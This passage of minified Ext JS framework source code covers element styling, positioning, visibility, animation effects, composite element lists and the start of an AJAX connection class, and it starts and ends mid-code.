}\n            J = v(J);\n            return H.style[J] || ((G = H.currentStyle) ? G[J] : null)\n        }\n    }(), getColor:function (F, G, K) {\n        var I = this.getStyle(F), H = (typeof K != \"undefined\") ? K : \"#\", J;\n        if (!I || (/transparent|inherit/.test(I))) {\n            return G\n        }\n        if (/^r/.test(I)) {\n            Ext.each(I.slice(4, I.length - 1).split(\",\"), function (L) {\n                J = parseInt(L, 10);\n                H += (J < 16 ? \"0\" : \"\") + J.toString(16)\n            })\n        } else {\n            I = I.replace(\"#\", \"\");\n            H += I.length == 3 ? I.replace(/^(\\w)(\\w)(\\w)$/, \"$1$1$2$2$3$3\") : I\n        }\n        return(H.length > 5 ? H.toLowerCase() : G)\n    }, setStyle:function (I, H) {\n        var F, G;\n        if (typeof I != \"object\") {\n            F = {};\n            F[I] = H;\n            I = F\n        }\n        for (G in I) {\n            H = I[G];\n            G == \"opacity\" ? this.setOpacity(H) : this.dom.style[v(G)] = H\n        }\n        return this\n    }, setOpacity:function (G, F) {\n        var J = this, H = J.dom.style;\n        if (!F || !J.anim) {\n            if (Ext.isIE) {\n                var I = G < 1 ? \"alpha(opacity=\" + G * 100 + \")\" : \"\", K = H.filter.replace(D, \"\").replace(l, \"\");\n                H.zoom = 1;\n                H.filter = K + (K.length > 0 ? \" \" : \"\") + I\n            } else {\n                H.opacity = G\n            }\n        } else {\n            J.anim({opacity:{to:G}}, J.preanim(arguments, 1), null, 0.35, \"easeIn\")\n        }\n        return J\n    }, clearOpacity:function () {\n        var F = this.dom.style;\n        if (Ext.isIE) {\n            if (!Ext.isEmpty(F.filter)) {\n                F.filter = F.filter.replace(D, \"\").replace(l, \"\")\n            }\n        } else {\n            F.opacity = F[\"-moz-opacity\"] = F[\"-khtml-opacity\"] = \"\"\n        }\n        return this\n    }, getHeight:function (H) {\n        var G = this, J = G.dom, I = Ext.isIE && G.isStyle(\"display\", \"none\"), F = r.max(J.offsetHeight, I ? 0 : J.clientHeight) || 0;\n        F = !H ? F : F - G.getBorderWidth(\"tb\") - G.getPadding(\"tb\");\n        return F < 0 ? 0 : F\n    }, getWidth:function (G) {\n        var H = this, J = H.dom, I = Ext.isIE && H.isStyle(\"display\", \"none\"), F = r.max(J.offsetWidth, I ? 0 : J.clientWidth) || 0;\n        F = !G ? F : F - H.getBorderWidth(\"lr\") - H.getPadding(\"lr\");\n        return F < 0 ? 0 : F\n    }, setWidth:function (G, F) {\n        var H = this;\n        G = H.adjustWidth(G);\n        !F || !H.anim ? H.dom.style.width = H.addUnits(G) : H.anim({width:{to:G}}, H.preanim(arguments, 1));\n        return H\n    }, setHeight:function (F, G) {\n        var H = this;\n        F = H.adjustHeight(F);\n        !G || !H.anim ? H.dom.style.height = H.addUnits(F) : H.anim({height:{to:F}}, H.preanim(arguments, 1));\n        return H\n    }, getBorderWidth:function (F) {\n        return this.addStyles(F, i)\n    }, getPadding:function (F) {\n        return this.addStyles(F, g)\n    }, clip:function () {\n        var F = this, G = F.dom;\n        if (!E(G, e)) {\n            E(G, e, true);\n            E(G, C, {o:F.getStyle(k), x:F.getStyle(n), y:F.getStyle(m)});\n            F.setStyle(k, z);\n            F.setStyle(n, z);\n            F.setStyle(m, z)\n        }\n        return F\n    }, unclip:function () {\n        var F = this, H = F.dom;\n        if (E(H, e)) {\n            E(H, e, false);\n            var G = E(H, C);\n            if (G.o) {\n                F.setStyle(k, G.o)\n            }\n            if (G.x) {\n                F.setStyle(n, G.x)\n            }\n            if (G.y) {\n                F.setStyle(m, G.y)\n            }\n        }\n        return F\n    }, addStyles:function (M, L) {\n        var J = 0, K = M.match(b), I, H, G, F = K.length;\n        for (G = 0; G < F; G++) {\n            I = K[G];\n            H = I && parseInt(this.getStyle(L[I]), 10);\n            if (H) {\n                J += r.abs(H)\n            }\n        }\n        return J\n    }, margins:a}\n}());\n(function () {\n    var a = Ext.lib.Dom, b = \"left\", g = \"right\", d = \"top\", i = \"bottom\", h = \"position\", c = \"static\", e = \"relative\", j = \"auto\", k = \"z-index\";\n    Ext.Element.addMethods({getX:function () {\n        return a.getX(this.dom)\n    }, getY:function () {\n        return a.getY(this.dom)\n    }, getXY:function () {\n        return a.getXY(this.dom)\n    }, getOffsetsTo:function (l) {\n        var n = this.getXY(), m = Ext.fly(l, \"_internal\").getXY();\n        return[n[0] - m[0], n[1] - m[1]]\n    }, setX:function (l, m) {\n        return this.setXY([l, this.getY()], this.animTest(arguments, m, 1))\n    }, setY:function (m, l) {\n        return this.setXY([this.getX(), m], this.animTest(arguments, l, 1))\n    }, setLeft:function (l) {\n        this.setStyle(b, this.addUnits(l));\n        return this\n    }, setTop:function (l) {\n        this.setStyle(d, this.addUnits(l));\n        return this\n    }, setRight:function (l) {\n        this.setStyle(g, this.addUnits(l));\n        return this\n    }, setBottom:function (l) {\n        this.setStyle(i, this.addUnits(l));\n        return this\n    }, setXY:function (n, l) {\n        var m = this;\n        if (!l || !m.anim) {\n            a.setXY(m.dom, n)\n        } else {\n            m.anim({points:{to:n}}, m.preanim(arguments, 1), \"motion\")\n        }\n        return m\n    }, setLocation:function (l, n, m) {\n        return this.setXY([l, n], this.animTest(arguments, m, 2))\n    }, moveTo:function (l, n, m) {\n        return this.setXY([l, n], this.animTest(arguments, m, 2))\n    }, getLeft:function (l) {\n        return !l ? this.getX() : parseInt(this.getStyle(b), 10) || 0\n    }, getRight:function (l) {\n        var m = this;\n        return !l ? m.getX() + m.getWidth() : (m.getLeft(true) + m.getWidth()) || 0\n    }, getTop:function (l) {\n        return !l ? this.getY() : parseInt(this.getStyle(d), 10) || 0\n    }, getBottom:function (l) {\n        var m = this;\n        return !l ? m.getY() + m.getHeight() : (m.getTop(true) + m.getHeight()) || 0\n    }, position:function (p, o, l, n) {\n        var m = this;\n        if (!p && m.isStyle(h, c)) {\n            m.setStyle(h, e)\n        } else {\n            if (p) {\n                m.setStyle(h, p)\n            }\n        }\n        if (o) {\n            m.setStyle(k, o)\n        }\n        if (l || n) {\n            m.setXY([l || false, n || false])\n        }\n    }, clearPositioning:function (l) {\n        l = l || \"\";\n        this.setStyle({left:l, right:l, top:l, bottom:l, \"z-index\":\"\", position:c});\n        return this\n    }, getPositioning:function () {\n        var m = this.getStyle(b);\n        var n = this.getStyle(d);\n        return{position:this.getStyle(h), left:m, right:m ? \"\" : this.getStyle(g), top:n, bottom:n ? \"\" : this.getStyle(i), \"z-index\":this.getStyle(k)}\n    }, setPositioning:function (l) {\n        var n = this, m = n.dom.style;\n        n.setStyle(l);\n        if (l.right == j) {\n            m.right = \"\"\n        }\n        if (l.bottom == j) {\n            m.bottom = \"\"\n        }\n        return n\n    }, translatePoints:function (m, u) {\n        u = isNaN(m[1]) ? u : m[1];\n        m = isNaN(m[0]) ? m : m[0];\n        var q = this, r = q.isStyle(h, e), s = q.getXY(), n = parseInt(q.getStyle(b), 10), p = parseInt(q.getStyle(d), 10);\n        n = !isNaN(n) ? n : (r ? 0 : q.dom.offsetLeft);\n        p = !isNaN(p) ? p : (r ? 0 : q.dom.offsetTop);\n        return{left:(m - s[0] + n), top:(u - s[1] + p)}\n    }, animTest:function (m, l, n) {\n        return !!l && this.preanim ? this.preanim(m, n) : false\n    }})\n})();\nExt.Element.addMethods({isScrollable:function () {\n    var a = this.dom;\n    return a.scrollHeight > a.clientHeight || a.scrollWidth > a.clientWidth\n}, scrollTo:function (a, b) {\n    this.dom[\"scroll\" + (/top/i.test(a) ? \"Top\" : \"Left\")] = b;\n    return this\n}, getScroll:function () {\n    var i = this.dom, h = document, a = h.body, c = h.documentElement, b, g, e;\n    if (i == h || i == a) {\n        if (Ext.isIE && Ext.isStrict) {\n            b = c.scrollLeft;\n            g = c.scrollTop\n        } else {\n            b = window.pageXOffset;\n            g = window.pageYOffset\n        }\n        e = {left:b || (a ? a.scrollLeft : 0), top:g || (a ? a.scrollTop : 0)}\n    } else {\n        e = {left:i.scrollLeft, top:i.scrollTop}\n    }\n    return e\n}});\nExt.Element.VISIBILITY = 1;\nExt.Element.DISPLAY = 2;\nExt.Element.OFFSETS = 3;\nExt.Element.ASCLASS = 4;\nExt.Element.visibilityCls = \"x-hide-nosize\";\nExt.Element.addMethods(function () {\n    var e = Ext.Element, p = \"opacity\", j = \"visibility\", g = \"display\", d = \"hidden\", n = \"offsets\", k = \"asclass\", m = \"none\", a = \"nosize\", b = \"originalDisplay\", c = \"visibilityMode\", h = \"isVisible\", i = e.data, l = function (r) {\n        var q = i(r, b);\n        if (q === undefined) {\n            i(r, b, q = \"\")\n        }\n        return q\n    }, o = function (r) {\n        var q = i(r, c);\n        if (q === undefined) {\n            i(r, c, q = 1)\n        }\n        return q\n    };\n    return{originalDisplay:\"\", visibilityMode:1, setVisibilityMode:function (q) {\n        i(this.dom, c, q);\n        return this\n    }, animate:function (r, t, s, u, q) {\n        this.anim(r, {duration:t, callback:s, easing:u}, q);\n        return this\n    }, anim:function (t, u, r, w, s, q) {\n        r = r || \"run\";\n        u = u || {};\n        var v = this, x = Ext.lib.Anim[r](v.dom, t, (u.duration || w) || 0.35, (u.easing || s) || \"easeOut\", function () {\n            if (q) {\n                q.call(v)\n            }\n            if (u.callback) {\n                u.callback.call(u.scope || v, v, u)\n            }\n        }, v);\n        u.anim = x;\n        return x\n    }, preanim:function (q, r) {\n        return !q[r] ? false : (typeof q[r] == \"object\" ? q[r] : {duration:q[r + 1], callback:q[r + 2], easing:q[r + 3]})\n    }, isVisible:function () {\n        var q = this, s = q.dom, r = i(s, h);\n        if (typeof r == \"boolean\") {\n            return r\n        }\n        r = !q.isStyle(j, d) && !q.isStyle(g, m) && !((o(s) == e.ASCLASS) && q.hasClass(q.visibilityCls || e.visibilityCls));\n        i(s, h, r);\n        return r\n    }, setVisible:function (t, q) {\n        var w = this, r, y, x, v, u = w.dom, s = o(u);\n        if (typeof q == \"string\") {\n            switch (q) {\n                case g:\n                    s = e.DISPLAY;\n                    break;\n                case j:\n                    s = e.VISIBILITY;\n                    break;\n                case n:\n                    s = e.OFFSETS;\n                    break;\n                case a:\n                case k:\n                    s = e.ASCLASS;\n                    break\n            }\n            w.setVisibilityMode(s);\n            q = false\n        }\n        if (!q || !w.anim) {\n            if (s == e.ASCLASS) {\n                w[t ? \"removeClass\" : \"addClass\"](w.visibilityCls || e.visibilityCls)\n            } else {\n                if (s == e.DISPLAY) {\n                    return w.setDisplayed(t)\n                } else {\n                    if (s == e.OFFSETS) {\n                        if (!t) {\n                            w.hideModeStyles = {position:w.getStyle(\"position\"), top:w.getStyle(\"top\"), left:w.getStyle(\"left\")};\n                            w.applyStyles({position:\"absolute\", top:\"-10000px\", left:\"-10000px\"})\n                        } else {\n                            w.applyStyles(w.hideModeStyles || {position:\"\", top:\"\", left:\"\"});\n                            delete w.hideModeStyles\n                        }\n                    } else {\n                        w.fixDisplay();\n                        u.style.visibility = t ? \"visible\" : d\n                    }\n                }\n            }\n        } else {\n            if (t) {\n                w.setOpacity(0.01);\n                w.setVisible(true)\n            }\n            w.anim({opacity:{to:(t ? 1 : 0)}}, w.preanim(arguments, 1), null, 0.35, \"easeIn\", function () {\n                t || w.setVisible(false).setOpacity(1)\n            })\n        }\n        i(u, h, t);\n        return w\n    }, hasMetrics:function () {\n        var q = this.dom;\n        return this.isVisible() || (o(q) == e.VISIBILITY)\n    }, toggle:function (q) {\n        var r = this;\n        r.setVisible(!r.isVisible(), r.preanim(arguments, 0));\n        return r\n    }, setDisplayed:function (q) {\n        if (typeof q == \"boolean\") {\n            q = q ? l(this.dom) : m\n        }\n        this.setStyle(g, q);\n        return this\n    }, fixDisplay:function () {\n        var q = this;\n        if (q.isStyle(g, m)) {\n            q.setStyle(j, d);\n            q.setStyle(g, l(this.dom));\n            if (q.isStyle(g, m)) {\n                q.setStyle(g, \"block\")\n            }\n        }\n    }, hide:function (q) {\n        if (typeof q == \"string\") {\n            this.setVisible(false, q);\n            return this\n        }\n        this.setVisible(false, this.preanim(arguments, 0));\n        return this\n    }, show:function (q) {\n        if (typeof q == \"string\") {\n            this.setVisible(true, q);\n            return this\n        }\n        this.setVisible(true, this.preanim(arguments, 0));\n        return this\n    }}\n}());\n(function () {\n    var y = null, A = undefined, k = true, t = false, j = \"setX\", h = \"setY\", a = \"setXY\", n = \"left\", l = \"bottom\", s = \"top\", m = \"right\", q = \"height\", g = \"width\", i = \"points\", w = \"hidden\", z = \"absolute\", u = \"visible\", e = \"motion\", o = \"position\", r = \"easeOut\", d = new Ext.Element.Flyweight(), v = {}, x = function (B) {\n        return B || {}\n    }, p = function (B) {\n        d.dom = B;\n        d.id = Ext.id(B);\n        return d\n    }, c = function (B) {\n        if (!v[B]) {\n            v[B] = []\n        }\n        return v[B]\n    }, b = function (C, B) {\n        v[C] = B\n    };\n    Ext.enableFx = k;\n    Ext.Fx = {switchStatements:function (C, D, B) {\n        return D.apply(this, B[C])\n    }, slideIn:function (H, E) {\n        E = x(E);\n        var J = this, G = J.dom, M = G.style, O, B, L, D, C, M, I, N, K, F;\n        H = H || \"t\";\n        J.queueFx(E, function () {\n            O = p(G).getXY();\n            p(G).fixDisplay();\n            B = p(G).getFxRestore();\n            L = {x:O[0], y:O[1], 0:O[0], 1:O[1], width:G.offsetWidth, height:G.offsetHeight};\n            L.right = L.x + L.width;\n            L.bottom = L.y + L.height;\n            p(G).setWidth(L.width).setHeight(L.height);\n            D = p(G).fxWrap(B.pos, E, w);\n            M.visibility = u;\n            M.position = z;\n            function P() {\n                p(G).fxUnwrap(D, B.pos, E);\n                M.width = B.width;\n                M.height = B.height;\n                p(G).afterFx(E)\n            }\n\n            N = {to:[L.x, L.y]};\n            K = {to:L.width};\n            F = {to:L.height};\n            function Q(U, R, V, S, X, Z, ac, ab, aa, W, T) {\n                var Y = {};\n                p(U).setWidth(V).setHeight(S);\n                if (p(U)[X]) {\n                    p(U)[X](Z)\n                }\n                R[ac] = R[ab] = \"0\";\n                if (aa) {\n                    Y.width = aa\n                }\n                if (W) {\n                    Y.height = W\n                }\n                if (T) {\n                    Y.points = T\n                }\n                return Y\n            }\n\n            I = p(G).switchStatements(H.toLowerCase(), Q, {t:[D, M, L.width, 0, y, y, n, l, y, F, y], l:[D, M, 0, L.height, y, y, m, s, K, y, y], r:[D, M, L.width, L.height, j, L.right, n, s, y, y, N], b:[D, M, L.width, L.height, h, L.bottom, n, s, y, F, N], tl:[D, M, 0, 0, y, y, m, l, K, F, N], bl:[D, M, 0, 0, h, L.y + L.height, m, s, K, F, N], br:[D, M, 0, 0, a, [L.right, L.bottom], n, s, K, F, N], tr:[D, M, 0, 0, j, L.x + L.width, n, l, K, F, N]});\n            M.visibility = u;\n            p(D).show();\n            arguments.callee.anim = p(D).fxanim(I, E, e, 0.5, r, P)\n        });\n        return J\n    }, slideOut:function (F, D) {\n        D = x(D);\n        var H = this, E = H.dom, K = E.style, L = H.getXY(), C, B, I, J, G = {to:0};\n        F = F || \"t\";\n        H.queueFx(D, function () {\n            B = p(E).getFxRestore();\n            I = {x:L[0], y:L[1], 0:L[0], 1:L[1], width:E.offsetWidth, height:E.offsetHeight};\n            I.right = I.x + I.width;\n            I.bottom = I.y + I.height;\n            p(E).setWidth(I.width).setHeight(I.height);\n            C = p(E).fxWrap(B.pos, D, u);\n            K.visibility = u;\n            K.position = z;\n            p(C).setWidth(I.width).setHeight(I.height);\n            function M() {\n                D.useDisplay ? p(E).setDisplayed(t) : p(E).hide();\n                p(E).fxUnwrap(C, B.pos, D);\n                K.width = B.width;\n                K.height = B.height;\n                p(E).afterFx(D)\n            }\n\n            function N(O, W, U, X, S, V, R, T, Q) {\n                var P = {};\n                O[W] = O[U] = \"0\";\n                P[X] = S;\n                if (V) {\n                    P[V] = R\n                }\n                if (T) {\n                    P[T] = Q\n                }\n                return P\n            }\n\n            J = p(E).switchStatements(F.toLowerCase(), N, {t:[K, n, l, q, G], l:[K, m, s, g, G], r:[K, n, s, g, G, i, {to:[I.right, I.y]}], b:[K, n, s, q, G, i, {to:[I.x, I.bottom]}], tl:[K, m, l, g, G, q, G], bl:[K, m, s, g, G, q, G, i, {to:[I.x, I.bottom]}], br:[K, n, s, g, G, q, G, i, {to:[I.x + I.width, I.bottom]}], tr:[K, n, l, g, G, q, G, i, {to:[I.right, I.y]}]});\n            arguments.callee.anim = p(C).fxanim(J, D, e, 0.5, r, M)\n        });\n        return H\n    }, puff:function (H) {\n        H = x(H);\n        var F = this, G = F.dom, C = G.style, D, B, E;\n        F.queueFx(H, function () {\n            D = p(G).getWidth();\n            B = p(G).getHeight();\n            p(G).clearOpacity();\n            p(G).show();\n            E = p(G).getFxRestore();\n            function I() {\n                H.useDisplay ? p(G).setDisplayed(t) : p(G).hide();\n                p(G).clearOpacity();\n                p(G).setPositioning(E.pos);\n                C.width = E.width;\n                C.height = E.height;\n                C.fontSize = \"\";\n                p(G).afterFx(H)\n            }\n\n            arguments.callee.anim = p(G).fxanim({width:{to:p(G).adjustWidth(D * 2)}, height:{to:p(G).adjustHeight(B * 2)}, points:{by:[-D * 0.5, -B * 0.5]}, opacity:{to:0}, fontSize:{to:200, unit:\"%\"}}, H, e, 0.5, r, I)\n        });\n        return F\n    }, switchOff:function (F) {\n        F = x(F);\n        var D = this, E = D.dom, B = E.style, C;\n        D.queueFx(F, function () {\n            p(E).clearOpacity();\n            p(E).clip();\n            C = p(E).getFxRestore();\n            function G() {\n                F.useDisplay ? p(E).setDisplayed(t) : p(E).hide();\n                p(E).clearOpacity();\n                p(E).setPositioning(C.pos);\n                B.width = C.width;\n                B.height = C.height;\n                p(E).afterFx(F)\n            }\n\n            p(E).fxanim({opacity:{to:0.3}}, y, y, 0.1, y, function () {\n                p(E).clearOpacity();\n                (function () {\n                    p(E).fxanim({height:{to:1}, points:{by:[0, p(E).getHeight() * 0.5]}}, F, e, 0.3, \"easeIn\", G)\n                }).defer(100)\n            })\n        });\n        return D\n    }, highlight:function (D, H) {\n        H = x(H);\n        var F = this, G = F.dom, B = H.attr || \"backgroundColor\", C = {}, E;\n        F.queueFx(H, function () {\n            p(G).clearOpacity();\n            p(G).show();\n            function I() {\n                G.style[B] = E;\n                p(G).afterFx(H)\n            }\n\n            E = G.style[B];\n            C[B] = {from:D || \"ffff9c\", to:H.endColor || p(G).getColor(B) || \"ffffff\"};\n            arguments.callee.anim = p(G).fxanim(C, H, \"color\", 1, \"easeIn\", I)\n        });\n        return F\n    }, frame:function (B, E, H) {\n        H = x(H);\n        var D = this, G = D.dom, C, F;\n        D.queueFx(H, function () {\n            B = B || \"#C3DAF9\";\n            if (B.length == 6) {\n                B = \"#\" + B\n            }\n            E = E || 1;\n            p(G).show();\n            var L = p(G).getXY(), J = {x:L[0], y:L[1], 0:L[0], 1:L[1], width:G.offsetWidth, height:G.offsetHeight}, I = function () {\n                C = p(document.body || document.documentElement).createChild({style:{position:z, \"z-index\":35000, border:\"0px solid \" + B}});\n                return C.queueFx({}, K)\n            };\n            arguments.callee.anim = {isAnimated:true, stop:function () {\n                E = 0;\n                C.stopFx()\n            }};\n            function K() {\n                var M = Ext.isBorderBox ? 2 : 1;\n                F = C.anim({top:{from:J.y, to:J.y - 20}, left:{from:J.x, to:J.x - 20}, borderWidth:{from:0, to:10}, opacity:{from:1, to:0}, height:{from:J.height, to:J.height + 20 * M}, width:{from:J.width, to:J.width + 20 * M}}, {duration:H.duration || 1, callback:function () {\n                    C.remove();\n                    --E > 0 ? I() : p(G).afterFx(H)\n                }});\n                arguments.callee.anim = {isAnimated:true, stop:function () {\n                    F.stop()\n                }}\n            }\n\n            I()\n        });\n        return D\n    }, pause:function (D) {\n        var C = this.dom, B;\n        this.queueFx({}, function () {\n            B = setTimeout(function () {\n                p(C).afterFx({})\n            }, D * 1000);\n            arguments.callee.anim = {isAnimated:true, stop:function () {\n                clearTimeout(B);\n                p(C).afterFx({})\n            }}\n        });\n        return this\n    }, fadeIn:function (D) {\n        D = x(D);\n        var B = this, C = B.dom, E = D.endOpacity || 1;\n        B.queueFx(D, function () {\n            p(C).setOpacity(0);\n            p(C).fixDisplay();\n            C.style.visibility = u;\n            arguments.callee.anim = p(C).fxanim({opacity:{to:E}}, D, y, 0.5, r, function () {\n                if (E == 1) {\n                    p(C).clearOpacity()\n                }\n                p(C).afterFx(D)\n            })\n        });\n        return B\n    }, fadeOut:function (E) {\n        E = x(E);\n        var C = this, D = C.dom, B = D.style, F = E.endOpacity || 0;\n        C.queueFx(E, function () {\n            arguments.callee.anim = p(D).fxanim({opacity:{to:F}}, E, y, 0.5, r, function () {\n                if (F == 0) {\n                    Ext.Element.data(D, \"visibilityMode\") == Ext.Element.DISPLAY || E.useDisplay ? B.display = \"none\" : B.visibility = w;\n                    p(D).clearOpacity()\n                }\n                p(D).afterFx(E)\n            })\n        });\n        return C\n    }, scale:function (B, C, D) {\n        this.shift(Ext.apply({}, D, {width:B, height:C}));\n        return this\n    }, shift:function (D) {\n        D = x(D);\n        var C = this.dom, B = {};\n        this.queueFx(D, function () {\n            for (var E in D) {\n                if (D[E] != A) {\n                    B[E] = {to:D[E]}\n                }\n            }\n            B.width ? B.width.to = p(C).adjustWidth(D.width) : B;\n            B.height ? B.height.to = p(C).adjustWidth(D.height) : B;\n            if (B.x || B.y || B.xy) {\n                B.points = B.xy || {to:[B.x ? B.x.to : p(C).getX(), B.y ? B.y.to : p(C).getY()]}\n            }\n            arguments.callee.anim = p(C).fxanim(B, D, e, 0.35, r, function () {\n                p(C).afterFx(D)\n            })\n        });\n        return this\n    }, ghost:function (E, C) {\n        C = x(C);\n        var G = this, D = G.dom, J = D.style, H = {opacity:{to:0}, points:{}}, K = H.points, B, I, F;\n        E = E || \"b\";\n        G.queueFx(C, function () {\n            B = p(D).getFxRestore();\n            I = p(D).getWidth();\n            F = p(D).getHeight();\n            function L() {\n                C.useDisplay ? p(D).setDisplayed(t) : p(D).hide();\n                p(D).clearOpacity();\n                p(D).setPositioning(B.pos);\n                J.width = B.width;\n                J.height = B.height;\n                p(D).afterFx(C)\n            }\n\n            K.by = p(D).switchStatements(E.toLowerCase(), function (N, M) {\n                return[N, M]\n            }, {t:[0, -F], l:[-I, 0], r:[I, 0], b:[0, F], tl:[-I, -F], bl:[-I, F], br:[I, F], tr:[I, -F]});\n            arguments.callee.anim = p(D).fxanim(H, C, e, 0.5, r, L)\n        });\n        return G\n    }, syncFx:function () {\n        var B = this;\n        B.fxDefaults = Ext.apply(B.fxDefaults || {}, {block:t, concurrent:k, stopFx:t});\n        return B\n    }, sequenceFx:function () {\n        var B = this;\n        B.fxDefaults = Ext.apply(B.fxDefaults || {}, {block:t, concurrent:t, stopFx:t});\n        return B\n    }, nextFx:function () {\n        var B = c(this.dom.id)[0];\n        if (B) {\n            B.call(this)\n        }\n    }, hasActiveFx:function () {\n        return c(this.dom.id)[0]\n    }, stopFx:function (B) {\n        var C = this, E = C.dom.id;\n        if (C.hasActiveFx()) {\n            var D = c(E)[0];\n            if (D && D.anim) {\n                if (D.anim.isAnimated) {\n                    b(E, [D]);\n                    D.anim.stop(B !== undefined ? B : k)\n                } else {\n                    b(E, [])\n                }\n            }\n        }\n        return C\n    }, beforeFx:function (B) {\n        if (this.hasActiveFx() && !B.concurrent) {\n            if (B.stopFx) {\n                this.stopFx();\n                return k\n            }\n            return t\n        }\n        return k\n    }, hasFxBlock:function () {\n        var B = c(this.dom.id);\n        return B && B[0] && B[0].block\n    }, queueFx:function (E, B) {\n        var C = p(this.dom);\n        if (!C.hasFxBlock()) {\n            Ext.applyIf(E, C.fxDefaults);\n            if (!E.concurrent) {\n                var D = C.beforeFx(E);\n                B.block = E.block;\n                c(C.dom.id).push(B);\n                if (D) {\n                    C.nextFx()\n                }\n            } else {\n                B.call(C)\n            }\n        }\n        return C\n    }, fxWrap:function (H, F, D) {\n        var E = this.dom, C, B;\n        if (!F.wrap || !(C = Ext.getDom(F.wrap))) {\n            if (F.fixPosition) {\n                B = p(E).getXY()\n            }\n            var G = document.createElement(\"div\");\n            G.style.visibility = D;\n            C = E.parentNode.insertBefore(G, E);\n            p(C).setPositioning(H);\n            if (p(C).isStyle(o, \"static\")) {\n                p(C).position(\"relative\")\n            }\n            p(E).clearPositioning(\"auto\");\n            p(C).clip();\n            C.appendChild(E);\n            if (B) {\n                p(C).setXY(B)\n            }\n        }\n        return C\n    }, fxUnwrap:function (C, F, E) {\n        var D = this.dom;\n        p(D).clearPositioning();\n        p(D).setPositioning(F);\n        if (!E.wrap) {\n            var B = p(C).dom.parentNode;\n            B.insertBefore(D, C);\n            p(C).remove()\n        }\n    }, getFxRestore:function () {\n        var B = this.dom.style;\n        return{pos:this.getPositioning(), width:B.width, height:B.height}\n    }, afterFx:function (C) {\n        var B = this.dom, D = B.id;\n        if (C.afterStyle) {\n            p(B).setStyle(C.afterStyle)\n        }\n        if (C.afterCls) {\n            p(B).addClass(C.afterCls)\n        }\n        if (C.remove == k) {\n            p(B).remove()\n        }\n        if (C.callback) {\n            C.callback.call(C.scope, p(B))\n        }\n        if (!C.concurrent) {\n            c(D).shift();\n            p(B).nextFx()\n        }\n    }, fxanim:function (E, F, C, G, D, B) {\n        C = C || \"run\";\n        F = F || {};\n        var H = Ext.lib.Anim[C](this.dom, E, (F.duration || G) || 0.35, (F.easing || D) || r, B, this);\n        F.anim = H;\n        return H\n    }};\n    Ext.Fx.resize = Ext.Fx.scale;\n    Ext.Element.addMethods(Ext.Fx)\n})();\nExt.CompositeElementLite = function (b, a) {\n    this.elements = [];\n    this.add(b, a);\n    this.el = new Ext.Element.Flyweight()\n};\nExt.CompositeElementLite.prototype = {isComposite:true, getElement:function (a) {\n    var b = this.el;\n    b.dom = a;\n    b.id = a.id;\n    return b\n}, transformElement:function (a) {\n    return Ext.getDom(a)\n}, getCount:function () {\n    return this.elements.length\n}, add:function (d, b) {\n    var e = this, g = e.elements;\n    if (!d) {\n        return this\n    }\n    if (typeof d == \"string\") {\n        d = Ext.Element.selectorFunction(d, b)\n    } else {\n        if (d.isComposite) {\n            d = d.elements\n        } else {\n            if (!Ext.isIterable(d)) {\n                d = [d]\n            }\n        }\n    }\n    for (var c = 0, a = d.length; c < a; ++c) {\n        g.push(e.transformElement(d[c]))\n    }\n    return e\n}, invoke:function (g, b) {\n    var h = this, d = h.elements, a = d.length, j, c;\n    for (c = 0; c < a; c++) {\n        j = d[c];\n        if (j) {\n            Ext.Element.prototype[g].apply(h.getElement(j), b)\n        }\n    }\n    return h\n}, item:function (b) {\n    var d = this, c = d.elements[b], a = null;\n    if (c) {\n        a = d.getElement(c)\n    }\n    return a\n}, addListener:function (b, j, h, g) {\n    var d = this.elements, a = d.length, c, k;\n    for (c = 0; c < a; c++) {\n        k = d[c];\n        if (k) {\n            Ext.EventManager.on(k, b, j, h || k, g)\n        }\n    }\n    return this\n}, each:function (g, d) {\n    var h = this, c = h.elements, a = c.length, b, j;\n    for (b = 0; b < a; b++) {\n        j = c[b];\n        if (j) {\n            j = this.getElement(j);\n            if (g.call(d || j, j, h, b) === false) {\n                break\n            }\n        }\n    }\n    return h\n}, fill:function (a) {\n    var b = this;\n    b.elements = [];\n    b.add(a);\n    return b\n}, filter:function (a) {\n    var b = [], d = this, c = Ext.isFunction(a) ? a : function (e) {\n        return e.is(a)\n    };\n    d.each(function (h, e, g) {\n        if (c(h, g) !== false) {\n            b[b.length] = d.transformElement(h)\n        }\n    });\n    d.elements = b;\n    return d\n}, indexOf:function (a) {\n    return this.elements.indexOf(this.transformElement(a))\n}, replaceElement:function (e, c, a) {\n    var b = !isNaN(e) ? e : this.indexOf(e), g;\n    if (b > -1) {\n        c = Ext.getDom(c);\n        if (a) {\n            g = this.elements[b];\n            g.parentNode.insertBefore(c, g);\n            Ext.removeNode(g)\n        }\n        this.elements.splice(b, 1, c)\n    }\n    return this\n}, clear:function () {\n    this.elements = []\n}};\nExt.CompositeElementLite.prototype.on = Ext.CompositeElementLite.prototype.addListener;\nExt.CompositeElementLite.importElementMethods = function () {\n    var c, b = Ext.Element.prototype, a = Ext.CompositeElementLite.prototype;\n    for (c in b) {\n        if (typeof b[c] == \"function\") {\n            (function (d) {\n                a[d] = a[d] || function () {\n                    return this.invoke(d, arguments)\n                }\n            }).call(a, c)\n        }\n    }\n};\nExt.CompositeElementLite.importElementMethods();\nif (Ext.DomQuery) {\n    Ext.Element.selectorFunction = Ext.DomQuery.select\n}\nExt.Element.select = function (a, b) {\n    var c;\n    if (typeof a == \"string\") {\n        c = Ext.Element.selectorFunction(a, b)\n    } else {\n        if (a.length !== undefined) {\n            c = a\n        } else {\n            throw\"Invalid selector\"\n        }\n    }\n    return new Ext.CompositeElementLite(c)\n};\nExt.select = Ext.Element.select;\n(function () {\n    var b = \"beforerequest\", e = \"requestcomplete\", d = \"requestexception\", h = undefined, c = \"load\", i = \"POST\", a = \"GET\", g = window;\n    Ext.data.Connection = function (j) {\n        Ext.apply(this, j);\n        this.addEvents(b, e, d);\n        Ext.data.Connection.superclass.constructor.call(this)\n    };\n    Ext.extend(Ext.data.Connection, Ext.util.Observable, {timeout:30000, autoAbort:false, disableCaching:true, disableCachingParam:\"_dc\", request:function (n) {\n        var s = this;\n        if (s.fireEvent(b, s, n)) {\n            if (n.el) {\n                if (!Ext.isEmpty(n.indicatorText)) {\n                    s.indicatorText = '<div class=\"loading-indicator\">' + n.indicatorText + \"</div>\"\n                }\n                if (s.indicatorText) {\n                    Ext.getDom(n.el).innerHTML = s.indicatorText\n                }\n                n.success = (Ext.isFunction(n.success) ? n.success : function () {\n                }).createInterceptor(function (o) {\n                    Ext.getDom(n.el).innerHTML = o.responseText\n                })\n            }\n            var l = n.params, k = n.url || s.url, j, q = {success:s.handleResponse, failure:s.handleFailure, scope:s, argument:{options:n}, timeout:Ext.num(n.timeout, s.timeout)}, m, t;\n            